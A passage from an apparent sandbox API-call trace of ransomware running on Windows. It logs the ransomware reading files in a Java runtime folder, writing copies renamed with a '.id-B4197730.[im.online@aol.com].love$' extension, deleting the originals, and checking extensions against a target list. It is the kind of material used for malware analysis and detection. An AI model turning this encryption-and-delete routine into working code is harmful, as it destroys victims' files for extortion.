(normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.001] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.001] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0107.001] GetLastError () returned 0x0 [0107.001] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0107.878] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1e80, lpOverlapped=0x0) returned 1 [0107.880] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.880] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0107.880] SetEndOfFile (hFile=0x374) returned 1 [0107.880] CloseHandle (hObject=0x374) returned 1 [0107.881] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.881] SetEndOfFile (hFile=0x380) returned 1 [0107.882] CloseHandle (hObject=0x380) returned 1 [0107.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.883] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0107.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.883] lstrlenW (lpString=".doc") returned 4 [0107.883] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.883] lstrlenW (lpString=".docx") returned 5 [0107.883] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0107.883] lstrlenW (lpString=".pdf") returned 4 [0107.883] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.883] lstrlenW (lpString=".xls") returned 4 [0107.883] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.883] lstrlenW (lpString=".xlsx") returned 5 [0107.883] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0107.883] lstrlenW (lpString=".ppt") returned 4 [0107.883] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.883] lstrlenW (lpString=".zip") returned 4 [0107.884] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.884] lstrlenW (lpString=".rar") returned 4 [0107.884] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.884] lstrlenW (lpString=".bz2") returned 4 [0107.884] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.884] lstrlenW (lpString=".7z") returned 3 [0107.884] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.884] lstrlenW (lpString=".dbf") returned 4 [0107.884] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.884] lstrlenW (lpString=".1cd") returned 4 [0107.884] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.884] lstrlenW (lpString=".jpg") returned 4 [0107.884] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.884] lstrlenW (lpString=".doc") returned 4 [0107.884] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.884] lstrlenW (lpString=".docx") returned 5 [0107.884] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0107.884] lstrlenW (lpString=".pdf") returned 4 [0107.884] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.884] lstrlenW (lpString=".xls") returned 4 [0107.884] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.884] lstrlenW (lpString=".xlsx") returned 5 [0107.885] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0107.885] lstrlenW (lpString=".ppt") returned 4 [0107.885] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.885] lstrlenW (lpString=".zip") returned 4 [0107.885] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.885] lstrlenW (lpString=".rar") returned 4 [0107.885] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.885] lstrlenW (lpString=".bz2") returned 4 [0107.885] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.885] lstrlenW (lpString=".7z") returned 3 [0107.885] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.885] lstrlenW (lpString=".dbf") returned 4 [0107.885] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.885] lstrlenW (lpString=".1cd") returned 4 [0107.885] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0107.885] lstrlenW (lpString=".jpg") returned 4 [0107.885] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.885] lstrcmpiW (lpString1=".txt", lpString2=".love$") returned 1 [0107.885] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0107.886] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.886] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=4226) returned 1 [0107.886] CloseHandle (hObject=0x380) returned 1 [0107.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0107.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.888] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.888] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0107.888] GetLastError () returned 0x0 [0107.888] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1082, lpOverlapped=0x0) returned 1 [0107.891] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1090, lpOverlapped=0x0) returned 1 [0107.892] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.892] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xee, lpOverlapped=0x0) returned 1 [0107.892] SetEndOfFile (hFile=0x374) returned 1 [0107.892] CloseHandle (hObject=0x374) returned 1 [0107.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.895] SetEndOfFile (hFile=0x380) returned 1 [0107.896] CloseHandle (hObject=0x380) returned 1 [0107.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0107.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.897] lstrlenW (lpString=".doc") returned 4 [0107.897] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0107.897] lstrlenW (lpString=".docx") returned 5 [0107.897] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0107.897] lstrlenW (lpString=".pdf") returned 4 [0107.897] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0107.897] lstrlenW (lpString=".xls") returned 4 [0107.898] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0107.898] lstrlenW (lpString=".xlsx") returned 5 [0107.898] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0107.898] lstrlenW (lpString=".ppt") returned 4 [0107.898] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString=".zip") returned 4 [0107.898] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0107.898] lstrlenW (lpString=".rar") returned 4 [0107.898] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString=".bz2") returned 4 [0107.898] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString=".7z") returned 3 [0107.898] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString=".dbf") returned 4 [0107.898] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString=".1cd") returned 4 [0107.898] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString=".jpg") returned 4 [0107.898] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.898] lstrlenW (lpString=".doc") returned 4 [0107.898] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString=".docx") returned 5 [0107.899] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0107.899] lstrlenW (lpString=".pdf") returned 4 [0107.899] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString=".xls") returned 4 [0107.899] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0107.899] lstrlenW (lpString=".xlsx") returned 5 [0107.899] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0107.899] lstrlenW (lpString=".ppt") returned 4 [0107.899] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.899] lstrlenW (lpString=".zip") returned 4 [0107.899] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0107.899] lstrlenW (lpString=".rar") returned 4 [0107.899] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString=".bz2") returned 4 [0107.899] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString=".7z") returned 3 [0107.899] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.899] lstrlenW (lpString=".dbf") returned 4 [0107.899] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.899] lstrlenW (lpString=".1cd") returned 4 [0107.899] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0107.899] lstrlenW (lpString=".jpg") returned 4 [0107.899] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0107.900] lstrcmpiW (lpString1=".dat", lpString2=".love$") returned -1 [0107.900] lstrlenW (lpString="tzdb.dat") returned 8 [0107.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.901] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=105500) returned 1 [0107.901] CloseHandle (hObject=0x380) returned 1 [0107.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0107.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0107.901] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.901] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0107.902] GetLastError () returned 0x0 [0107.902] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0107.907] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x19c20, lpOverlapped=0x0) returned 1 [0107.910] ReadFile (in: hFile=0x380, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0107.910] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0107.910] SetEndOfFile (hFile=0x374) returned 1 [0107.910] CloseHandle (hObject=0x374) returned 1 [0107.914] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0107.914] SetEndOfFile (hFile=0x380) returned 1 [0107.916] CloseHandle (hObject=0x380) returned 1 [0107.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.916] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0107.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.917] lstrlenW (lpString=".doc") returned 4 [0107.917] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString=".docx") returned 5 [0107.917] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0107.917] lstrlenW (lpString=".pdf") returned 4 [0107.917] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString=".xls") returned 4 [0107.917] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString=".xlsx") returned 5 [0107.917] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0107.917] lstrlenW (lpString=".ppt") returned 4 [0107.917] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.917] lstrlenW (lpString=".zip") returned 4 [0107.917] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString=".rar") returned 4 [0107.917] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0107.917] lstrlenW (lpString=".bz2") returned 4 [0107.917] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0107.917] lstrlenW (lpString=".7z") returned 3 [0107.917] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0107.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.917] lstrlenW (lpString=".dbf") returned 4 [0107.918] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.918] lstrlenW (lpString=".1cd") returned 4 [0107.918] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0107.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.918] lstrlenW (lpString=".jpg") returned 4 [0107.918] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.918] lstrlenW (lpString=".doc") returned 4 [0107.918] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString=".docx") returned 5 [0107.918] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0107.918] lstrlenW (lpString=".pdf") returned 4 [0107.918] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString=".xls") returned 4 [0107.918] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString=".xlsx") returned 5 [0107.918] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0107.918] lstrlenW (lpString=".ppt") returned 4 [0107.918] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.918] lstrlenW (lpString=".zip") returned 4 [0107.918] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString=".rar") returned 4 [0107.918] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0107.918] lstrlenW (lpString=".bz2") returned 4 [0107.918] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0107.919] lstrlenW (lpString=".7z") returned 3 [0107.919] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0107.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.919] lstrlenW (lpString=".dbf") returned 4 [0107.919] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0107.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.919] lstrlenW (lpString=".1cd") returned 4 [0107.919] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0107.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0107.919] lstrlenW (lpString=".jpg") returned 4 [0107.919] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0107.919] lstrcmpiW (lpString1=".txt", lpString2=".love$") returned 1 [0107.919] lstrlenW (lpString="README.txt") returned 10 [0107.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0108.235] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=46) returned 1 [0108.235] CloseHandle (hObject=0x2d8) returned 1 [0108.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0108.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.703] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0108.703] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.703] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.704] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0108.709] GetLastError () returned 0x0 [0108.709] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x2e, lpOverlapped=0x0) returned 1 [0108.710] WriteFile (in: hFile=0x340, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x30, 